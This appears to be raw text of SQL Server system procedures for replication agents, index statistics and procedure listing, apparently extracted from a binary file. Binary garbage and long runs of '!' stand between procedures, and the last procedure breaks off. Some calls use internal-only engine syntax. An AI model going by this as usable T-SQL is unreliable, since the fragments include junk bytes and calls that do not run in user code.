	@frequency_type 				int = 64,
	@frequency_interval 			int = 1,
	@frequency_relative_interval	int = 1,
	@frequency_recurrence_factor	int = 0,
	@frequency_subday				int = 4,
	@frequency_subday_interval		int = 5,
	@active_start_time_of_day		int = 0,
	@active_end_time_of_day 		int = 235959,
	@active_start_date				int = 0,
	@active_end_date				int = 99991231,
	@dts_package_name				sysname = NULL,
	@dts_package_password			sysname = NULL,
	@dts_package_location			nvarchar(12) = N'distributor',
	@enabled_for_syncmgr			nvarchar(5) = 'false',
	@distribution_job_name			sysname = NULL,
	@publisher						sysname = NULL,
	@subscriber_provider			sysname = NULL,
	@subscriber_datasrc				nvarchar(4000) = NULL,
	@subscriber_location			nvarchar(4000) = NULL,
	@subscriber_provider_string		nvarchar(4000) = NULL,
	@subscriber_catalog				sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type = @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_addpushsubscription_agent'
	
	EXEC @retcode = @cmd @publication,
							@subscriber,
							@subscriber_db,
							@subscriber_security_mode,
							@subscriber_login,
							@subscriber_password,
							@job_login,
							@job_password,
							@job_name,
							@frequency_type,
							@frequency_interval,
							@frequency_relative_interval,
							@frequency_recurrence_factor,
							@frequency_subday,
							@frequency_subday_interval,
							@active_start_time_of_day,
							@active_end_time_of_day,
							@active_start_date,
							@active_end_date,
							@dts_package_name,
							@dts_package_password,
							@dts_package_location,
							@enabled_for_syncmgr,
							@distribution_job_name,
							@publisher,
							@publisher_type,
							@subscriber_provider,
							@subscriber_datasrc,
							@subscriber_location,
							@subscriber_provider_string,
							@subscriber_catalog

	RETURN (@retcode)
END
0qA &8create procedure sys.sp_MSdistributionagentjobcontrol
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname,
    @action         tinyint
)
as
begin

    -- For dependent agents, @publication must be 'ALL' when this 
    -- procedure is called through the replication rpc link.

    declare @job_id         uniqueidentifier
    declare @publisher_id   int
    declare @subscriber_id  int
    declare @retcode        int
    set @retcode = 0

    set @publisher_id = null    
    select @publisher_id = server_id
      from sys.servers
     where upper(name) = upper(@publisher) collate database_default
    if @publisher_id is null
    begin
        raiserror (21618, 16, -1, @publisher)
        return 1
    end

    set @subscriber_id = null
    select @subscriber_id = server_id
      from sys.servers
     where upper(name) = upper(@subscriber) collate database_default
    if @subscriber_id is null
    begin
        raiserror (14048, 16, -1, @subscriber)
        return 1
    end    

    set @job_id = null
    select @job_id = msda.job_id
      from dbo.MSdistribution_agents as msda
inner join msdb.dbo.sysjobs_view as sjv
        on msda.job_id = sjv.job_id        
inner join msdb.dbo.sysjobsteps as sjs
        on sjv.job_id = sjs.job_id
     where msda.publisher_id = @publisher_id
       and msda.publisher_db = @publisher_db
       and msda.publication = @publication
       and msda.subscriber_id = @subscriber_id
       and msda.subscriber_db = @subscriber_db
       and sjv.category_id = 10
       and sjs.subsystem = N'Distribution'
    
    if @job_id is null
    begin
        -- "Could not find a distribution agent job for the specified transactional\snapshot push subscription." 
        raiserror(21846, 16, -1)
        return 1
    end
    exec @retcode = sys.sp_MSreplicationagentjobcontrol
        @job_id = @job_id, 
        @action = @action
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r`'w<MI34bF0͚ \8Yw)h>8^f0 "8create procedure sys.sp_MSaddpub_snapshot (
    @publication sysname,    

    @freqtype  int = 4 ,                  /* 4== Daily */
    @freqinterval int  = 1,             /* Every day */
    @freqsubtype int =  4,                 /* Sub interval = Minute */
    @freqsubinterval int = 5,              /* Every five minutes */
    @freqrelativeinterval int = 1, 
    @freqrecurrencefactor int = 0, 
    @activestartdate int = 0,             /* 12:00 am - 11:59 pm */
    @activeenddate int =99991231 ,         /* No start date */    
    @activestarttimeofday int = 0,         
    @activeendtimeofday int = 235959,     /* No end time */       
    @newagentid int = 0 OUTPUT,
    @snapshot_job_name nvarchar(100) = null,
	@publisher_security_mode int = NULL,
	@publisher_login sysname = NULL,
	@publisher_password sysname = NULL,
	@job_login nvarchar(257) = NULL,
	@job_password sysname = NULL,
	@publisher sysname = NULL
)
AS
    SET NOCOUNT ON

    -- Declarations
    DECLARE @retcode            int
    DECLARE @distributor        sysname
    DECLARE @distribdb          sysname
    DECLARE @distproc           nvarchar (4000)
    DECLARE @agentname          nvarchar(100)
    DECLARE @database           sysname
    DECLARE @newid              int
    DECLARE @mergepublish_bit   smallint
    DECLARE @centralpublish_bit int
    DECLARE @fFoundPublication  int
    DECLARE @agent_args         nvarchar(4000)
    DECLARE @snapshot_jobid     binary(16)
    DECLARE @dist_rpcname       sysname
    DECLARE @publication_type   int
    DECLARE @job_existing       bit
	DECLARE	@publisher_type		sysname
	DECLARE @pubid				int
	DECLARE @agent_exists		bit
	DECLARE @publisher_local	sysname

    -- Initializations
    select @mergepublish_bit    = 4
    select @centralpublish_bit  = 1
    select @fFoundPublication   = 0
	select @distproc			= N''
	SELECT @publisher_type		= NULL

    if (@snapshot_job_name is null) or (@snapshot_job_name = N'')
    begin
        select @job_existing = 0
    end 
    else
    begin
        select @job_existing = 1
    end

	-- Get distributor information
    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
														@distributor	= @distributor OUTPUT, 
														@distribdb		= @distribdb OUTPUT,
														@rpcsrvname		= @dist_rpcname OUTPUT,
														@publisher_type	= @publisher_type OUTPUT

    IF @@error <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (14071, 16, -1)
		RETURN (1)
    END
    
    IF (@publisher IS NOT NULL) AND (@publisher_type IS NULL OR @distribdb IS NULL OR @distributor IS NULL)
    BEGIN
        RAISERROR(21600, 16, -1, @publisher)
        RETURN (1)
    END

	-- Get publication info
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	
	IF NOT @publisher_type = N'MSSQLSERVER'
	BEGIN
		SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + N'.' + QUOTENAME(@distribdb) + '.'
	END

	SELECT @distproc = RTRIM(@distproc) + N'sys.sp_helppublication'
    EXEC @retcode = @distproc
					@publication = @publication,
					@publisher   = @publisher,
					@found       = @fFoundPublication OUTPUT

    IF @@ERROR <> 0 OR @retcode <> 0
    BEGIN
        RETURN (1)
    END
        
    IF @fFoundPublication = 0 
    BEGIN
        SELECT @newagentid = 0
        RETURN (0)
    END

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

    SELECT @database = DB_NAME()

	--
    -- Set local publisher value
    --
    SELECT @publisher_local = ISNULL(@publisher, publishingservername())
    
    -- Make sure the publication does not already have a agent.
    SELECT @distproc = QUOTENAME(RTRIM(@dist_rpcname)) + '.' + QUOTENAME(@distribdb) + '.sys.sp_MSreplagentjobexists'
	EXEC @retcode = @distproc @type				= 3,
								@exists 		= @agent_exists output,
								@publisher		= @publisher_local,
								@publisher_db	= @database,
								@publication	= @publication
	IF @@ERROR <> 0 OR @retcode <> 0
		RETURN (1)
	
	IF @agent_exists = 1
	BEGIN
        RAISERROR (14101, 11, -1, @publication)
        RETURN(1)
    END

    -- Get publication_type
	SELECT	@publication_type = repl_freq
	FROM	syspublications
	WHERE	pubid = @pubid
    
	-- Set command based on distributor info
    SELECT @distproc = QUOTENAME(RTRIM(@dist_rpcname)) + '.' + QUOTENAME(@distribdb) + '.dbo.sp_MSadd_snapshot_agent'

	-- Check pub type
	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
	    SELECT @agent_args = '-Publisher ' + QUOTENAME(publishingservername())
	    SELECT @agent_args = @agent_args + ' -PublisherDB ' + QUOTENAME(@database)
	    SELECT @agent_args = @agent_args + ' -Distributor ' + QUOTENAME(@distributor)
	    SELECT @agent_args = @agent_args + ' -Publication ' + QUOTENAME(@publication)
	END
	ELSE
	BEGIN
		SELECT @agent_args = '-Publisher ' + QUOTENAME(@publisher)
	    
	    IF NOT (@publisher_type LIKE N'ORACLE%')
		BEGIN
			-- TODO: Support publisher db for non-Oracle HREPL providers
			SELECT @agent_args = @agent_args + ' -PublisherDB '   + QUOTENAME(@database)
		END
			
	    SELECT @agent_args = @agent_args + ' -Distributor '   + QUOTENAME(@distributor)
	    SELECT @agent_args = @agent_args + ' -Publication '   + QUOTENAME(@publication)
	END

    BEGIN TRAN
		DECLARE @pubname sysname
		SELECT	@pubname =	CASE @publisher_type
								WHEN N'MSSQLSERVER' THEN publishingservername()
								ELSE @publisher
							END

	    EXEC @retcode = @distproc 
						@name 						= @snapshot_job_name,
						@publisher					= @pubname,
						@publisher_db				= @database,
						@publication				= @publication,  
						@publication_type			= @publication_type,
						@local_job					= 1,  
						@freqtype					= @freqtype, 
						@freqinterval				= @freqinterval, 
						@freqsubtype				= @freqsubtype, 
						@freqsubinterval			= @freqsubinterval, 
						@freqrelativeinterval		= @freqrelativeinterval, 
						@freqrecurrencefactor		= @freqrecurrencefactor, 
						@activestartdate			= @activestartdate, 
						@activeenddate				= @activeenddate, 
						@activestarttimeofday		= @activestarttimeofday, 
						@activeendtimeofday			= @activeendtimeofday,
						@command					= @agent_args,
						@snapshot_jobid				= @snapshot_jobid OUTPUT,
						@job_existing				= @job_existing,
						@publisher_security_mode	= @publisher_security_mode,
						@publisher_login			= @publisher_login,
						@publisher_password			= @publisher_password,
	  					@job_login					= @job_login,
						@job_password				= @job_password,
						@publisher_type				= @publisher_type,
						@internal					= N'YUKON'
						
		IF @@ERROR <> 0 or @retcode <> 0
		BEGIN
	        GOTO UNDO
		END
	
	    -- Legacy, use non zero taskid to indicate agent already created at the distributor.
	    UPDATE	syspublications
		SET		snapshot_jobid =  @snapshot_jobid
		WHERE	pubid = @pubid
	
	    IF @@ERROR <> 0
		BEGIN
	        GOTO UNDO
		END
	
	    -- This is the output parameter to indicate agent created.
	    SELECT  @newagentid = 1

    COMMIT TRAN

    return (0)  
    
UNDO:
    if @@TRANCOUNT = 1
        ROLLBACK TRAN
    else
        COMMIT TRAN
    return(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`&<:;M0Fh 8
create procedure sys.sp_statistics_100 
(
    @table_name         sysname,        -- Wildcard pattern matching IS NOT supported.
    @table_owner        sysname = null, -- Wildcard pattern matching IS NOT supported.
    @table_qualifier    sysname = null,
    @index_name         sysname = '%',  -- Wildcard pattern matching is supported.
    @is_unique          char(1) = 'N',
    @accuracy           char(1) = 'Q'
)
as
    set nocount on

    declare @table_id           int
    -- quotename() returns up to 258 chars
    declare @full_table_name    nvarchar(517) -- 258 + 1 + 258

    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin   -- If qualifier doesn't match current database
            raiserror (15250, -1,-1)
            return
        end
    end

    if @accuracy not in ('Q','E')
    begin
        raiserror (15251,-1,-1,'accuracy','''Q'' or ''E''')
        return
    end

    if @table_owner is null
    begin   -- If unqualified table name
        select @full_table_name = quotename(@table_name)
    end
    else
    begin   -- Qualified table name
        if @table_owner = ''
        begin   -- If empty owner name
            select @full_table_name = quotename(@table_owner)
        end
        else
        begin
            select @full_table_name = quotename(@table_owner) + '.' + quotename(@table_name)
        end
    end
    --  Get Object ID
    select @table_id = object_id(@full_table_name)

    -- Rows for indexes.
    select
        TABLE_QUALIFIER     = db_name(),
        TABLE_OWNER         = schema_name(o.schema_id),
        TABLE_NAME          = o.name,
        NON_UNIQUE          = convert(smallint, 
                              case
                                  when x.is_unique = 0 then 1         -- Nonunique index
                                  else 0                              -- Unique index   
                              end),
        INDEX_QUALIFIER     = o.name,
        INDEX_NAME          = x.name,
        TYPE                = isnull(convert(smallint, -- workaround engine limitation, see SQL BU 373271
                              case
                                  when x.index_id > 1 then 3          -- Non-Clustered  
                                  else 1                              -- Clustered index
                              end), sysconv(smallint,1)),
        SEQ_IN_INDEX        = convert(smallint, 
                case
                  when x.type < 3
                    then s_ic.key_ordinal
                                    else 1			      -- use 1 as the column ordinal(application indexes are single column indexes)
                                  end),
        COLUMN_NAME         = case
                when x.type < 3 
                  then index_col(@full_table_name, x.index_id, s_ic.key_ordinal)
                  else index_col(@full_table_name, x.index_id, 1)
                end,
        -- For indexes return whether ASC or DESC and for statistics return null
        [COLLATION]         = convert(char(1), 
                                case 
                                when s_ic.is_descending_key = 1
                                  then 'D' -- DB_COLLATION_DESC
                                  else 'A' -- DB_COLLATION_ASC
                                end),
        CARDINALITY         = convert(int,
                                case
                                when x.index_id > 1 then 
                                    null -- Non-Clustered  
                                else
                                    0x7FFFFFFF & p.rows -- Clustered index
                              end),
        PAGES               = convert(int,
                                case
                                when x.index_id > 1 then
                                    null -- Non-Clustered  
                                else
                                    p.data_pages -- Clustered index
                              end),
        FILTER_CONDITION    = convert(varchar(128),null)

    from 
        sys.objects o inner join -- Yukon doesn't expose indexes on its system objects, so only user objects are useful.
        sys.indexes x on
            (
                x.object_id = o.object_id and
                (x.is_unique = 1 or @is_unique <> 'Y') and
                x.is_hypothetical = 0
            ) inner join
        sys.index_columns s_ic on 
            (
                s_ic.object_id = o.object_id and
                s_ic.index_id = x.index_id and
                (s_ic.key_ordinal > 0 or x.type = 3 or x.type = 4) -- include spatial and xml indexes which don't have "key" columns
            ) left join
        sys.index_counts p on
            (
                p.object_id = x.object_id and 
                p.index_id = x.index_id
            )

    where
        o.object_id = @table_id and     
        (@index_name = '%' or x.name like @index_name) -- matching name

    union all

    -- Add row for table statistics.
    select
        TABLE_QUALIFIER     = db_name(),
        TABLE_OWNER         = schema_name(o.schema_id),
        TABLE_NAME          = o.name,
        NON_UNIQUE          = convert(smallint, null),
        INDEX_QUALIFIER     = convert(sysname, null),
        INDEX_NAME          = convert(sysname, null),
        TYPE                = isnull(convert(smallint, 0), sysconv(smallint,0)), -- Statistics for a table.
        SEQ_IN_INDEX        = convert(smallint, null),
        COLUMN_NAME         = convert(sysname, null),
        [COLLATION]         = convert(char(1), null),
        CARDINALITY         = convert (int, 0x7FFFFFFF & p.rows),
        PAGES               = p.data_pages,
        FILTER_CONDITION    = convert(varchar(128),null)

    from 
        sys.objects o inner join -- Yukon doesn't expose indexes on its system objects, so only user objects are useful.
        sys.indexes x on
            (
                x.object_id = o.object_id and
                (x.index_id = 0 or x.index_id = 1) -- If there are no indexes then table stats are in a row with index_id =0    
            ) left join
        sys.index_counts p on
            (
                p.object_id = x.object_id and 
                p.index_id = x.index_id
            )

    where
        o.object_id = @table_id

    order by 4, 7, 6, 8
06j 8create function sys.fn_MSmerge_islocalpubid (@pubid uniqueidentifier)
returns bit
as
begin
    declare @publisher_db sysname
    declare @publisher sysname

    select @publisher_db = publisher_db, @publisher = publisher 
    from dbo.sysmergepublications 
    where pubid = @pubid
    if @publisher_db is NULL or @publisher is NULL
        return 0

    if @publisher_db = db_name() and UPPER(@publisher) = UPPER(publishingservername())
        return 1

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<#9[0: 8
create procedure sys.sp_stored_procedures
(
    @sp_name            nvarchar(390) = null, -- Wildcard pattern matching is supported.
    @sp_owner           nvarchar(384) = null, -- Wildcard pattern matching is supported.
    @sp_qualifier       sysname = null,
    @fUsePattern        bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @full_sp_name    nvarchar(775) -- 384 + 1 + 390
    declare @sp_id           int
    declare @use_system      bit

    if @sp_qualifier is not null
    begin
        if db_name() <> @sp_qualifier
        begin
            if @sp_qualifier = ''
            begin
                -- in this case, we need to return an empty result set
                -- because the user has requested a database with an empty name
                select @sp_name = ''
                select @sp_owner = ''
            end
            else
            begin   -- If qualifier doesn't match current database
                raiserror (15250, -1,-1)
                return
            end
        end
    end

    if @sp_name = '%'
        select @sp_name = null
    if @sp_owner = '%'
        select @sp_owner = null

    if @sp_name is not null
    begin
        if (@sp_owner is null) and (charindex('%', @sp_name) = 0)
        begin
            if exists (
                        select *
                        from
                            sys.spt_all_procedures pro
                        where
                            pro.schema_id = schema_id() and
                            pro.name = @sp_name
                      )
            begin
                select @sp_owner = schema_name()
            end
        end
    end

    select @full_sp_name = isnull(quotename(@sp_owner), '') + '.' + isnull(quotename(@sp_name), '')
    select @sp_id = object_id(@full_sp_name)

    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_sp_name),0) = 0) and
            (isnull(charindex('_', @full_sp_name),0) = 0) and
            (@sp_id <> 0))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end

        select @use_system = 0
        if (@sp_name is null or @sp_name like 'fn_%' or @sp_name like 'sp_%' or @sp_name like 'xp_%')
        begin
            select @use_system = 1
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print @fUsePattern
        print isnull(@full_sp_name, '@full_sp_name = null')
        print isnull(@sp_name, '@sp_name = null')
        print isnull(@sp_owner, '@sp_owner = null')
        print '*************'
        */
        select
            PROCEDURE_QUALIFIER = convert(sysname,db_name()),
            PROCEDURE_OWNER     = convert(sysname,schema_name(pro.schema_id)),
            PROCEDURE_NAME      = convert(nvarchar(134),pro.name + ';' + convert(nvarchar(10), pro.procedure_number)),
            NUM_INPUT_PARAMS    = convert(int, -1), -- reserved
            NUM_OUTPUT_PARAMS   = convert(int, -1), -- reserved
            NUM_RESULT_SETS     = convert(int, -1), -- reserved
            REMARKS             = convert(varchar(254),null),   -- Remarks are NULL
            PROCEDURE_TYPE      = convert(smallint, 2) -- SQL_PT_FUNCTION
        from
            sys.spt_all_procedures pro
        where
            @sp_name is null or pro.object_id = @sp_id
        order by 1, 2, 3
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@full_sp_name, '@full_sp_name = null')
        print isnull(@sp_name, '@sp_name = null')
        print isnull(@sp_owner, '@sp_owner = null')
        print '*************'
        */
        if @sp_name is null
            select @sp_name = '%'
        if @sp_owner is null
            select @sp_owner = '%'

        -- For user procedures
        select
            PROCEDURE_QUALIFIER = convert(sysname,db_name()),
            PROCEDURE_OWNER     = convert(sysname,schema_name(o.schema_id)),
            PROCEDURE_NAME      = convert(nvarchar(134),o.name + ';' + convert(nvarchar(10), case o.type when 'P' then p.procedure_number else 0 end)),
            NUM_INPUT_PARAMS    = convert(int, -1), -- reserved
            NUM_OUTPUT_PARAMS   = convert(int, -1), -- reserved
            NUM_RESULT_SETS     = convert(int, -1), -- reserved
            REMARKS             = convert(varchar(254),null),   -- Remarks are NULL
            PROCEDURE_TYPE      = convert(smallint, 2) -- SQL_PT_FUNCTION
        from
            sys.objects o join
            sys.numbered_procedures$ p on
            (
                p.object_id = o.object_id
            )
        where
            o.name like @sp_name and
            (@sp_owner = '%' or schema_name(o.schema_id) like @sp_owner) and
            o.type in ('P', 'FN', 'TF', 'IF', 'PC') -- Object type of Procedure

        union all

        -- For system procedures.
        -- We don't have info about numbered system procedures(sp_ddopen;2, etc.)
        select
            PROCEDURE_QUALIFIER = convert(sysname,db_name()),
            PROCEDURE_OWNER     = convert(sysname,'sys'),
            PROCEDURE_NAME      = convert(nvarchar(134),o.name + ';' + convert(nvarchar(10), case o.type when 'P' then 1 else 0 end)),
            NUM_INPUT_PARAMS    = convert(int, -1), -- reserved
            NUM_OUTPUT_PARAMS   = convert(int, -1), -- reserved
            NUM_RESULT_SETS     = convert(int, -1), -- reserved
            REMARKS             = convert(varchar(254),null),   -- Remarks are NULL
            PROCEDURE_TYPE      = convert(smallint, 2) -- SQL_PT_FUNCTION
        from
            sys.system_objects o
        where
            @use_system = 1 and
            o.name like @sp_name and
            (@sp_owner = '%' or 'sys' like @sp_owner) and
            o.type in ('P', 'FN', 'TF', 'IF', 'PC') -- Object type of Procedure
        order by 2, 3
    end
!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`3r<c0pn 8create procedure sys.sp_unbindrule --- 1996/08/13 13:33
	@objname nvarchar(776),        -- table/column or datatype name
	@futureonly varchar(15) = NULL -- flag to indicate extent of binding
as
	declare @oldrule int		-- current rule for type
	declare @tabname sysname    -- name of table
	declare @colname sysname    -- name of column
	declare @futurevalue varchar(15)	-- the value of @futureonly that causes
										--  the binding to be limited

	declare
		@vc1			nvarchar(517)
	declare
		 @obj_id		int
		,@col_id		int
		,@rule			int
		,@xusertype		int
		,@schid			int

		,@owner_name	sysname
		,@obj_name		sysname

		,@UnqualObj			sysname
		,@QualObj1			sysname
		,@QualObj2			sysname
		,@QualObj3			sysname

	set cursor_close_on_commit	off

	select @futurevalue = 'futureonly'	-- initialize @futurevalue

	-- When a default or rule is bound to a user-defined datatype, it is also
	--  bound, by default, to any columns of the user datatype that are currently
	--  using the existing default or rule as their default or rule.  This default
	--  action may be overridden by setting @futureonly = @futurevalue when the
	--  procedure is invoked.  In this case existing columns with the user
	--  datatype won't have their existing default or rule changed.

	-- get name parts --
	select @UnqualObj = parsename(@objname, 1),
			@QualObj1 = parsename(@objname, 2),
			@QualObj2 = parsename(@objname, 3),
			@QualObj3 = parsename(@objname, 4)

	if (@UnqualObj is null OR @QualObj3 is not null)
	begin
		raiserror(15253,-1,-1,@objname)
		return (1)
	end

	------------------  Verify database.
	if (@QualObj2 is not null and @QualObj1 is null)
	begin
		raiserror(15084,-1,-1)
		return (1)
	end

	-- Try to resolve column first. We need to extract
	--  and verify the table and column names and make sure the user owns
	--  the table that is getting the default unbound.
	if @QualObj1 is not null
	begin
		if (@QualObj2 is not null)
			select @vc1 = QuoteName(@QualObj2) + '.' + QuoteName(@QualObj1)
		else
			select @vc1 = QuoteName(@QualObj1)

		-- check if table and column exists
		select	@obj_id = c.object_id, @rule = c.rule_object_id
			from sys.columns c join sys.tables o
				on c.object_id = o.object_id
			where c.name = @UnqualObj
				and o.object_id = object_id(@vc1,'local')
		if @obj_id is not null
		begin

			if @rule = 0
			begin
				raiserror(15238,-1,-1,@objname)
				return (1)
			end

			BEGIN TRANSACTION

			-- Update schema count
			--  for the object in the sysobjects table.
			EXEC %%Object(MultiName = @vc1).LockMatchID(ID = @obj_id, Exclusive = 1, BindInternal = 0)

			-- check again if table and column exist
			if @@error = 0
				select	@col_id = column_id
					from sys.columns
					where object_id = @obj_id
						and name = @UnqualObj
			if @col_id is null
			begin
				COMMIT TRANSACTION
				raiserror(15148,-1,-1, @objname)
				return (1)
			end

			EXEC %%ColumnEx(ObjectID = @obj_id, Name = @UnqualObj).SetRule(ID = 0)
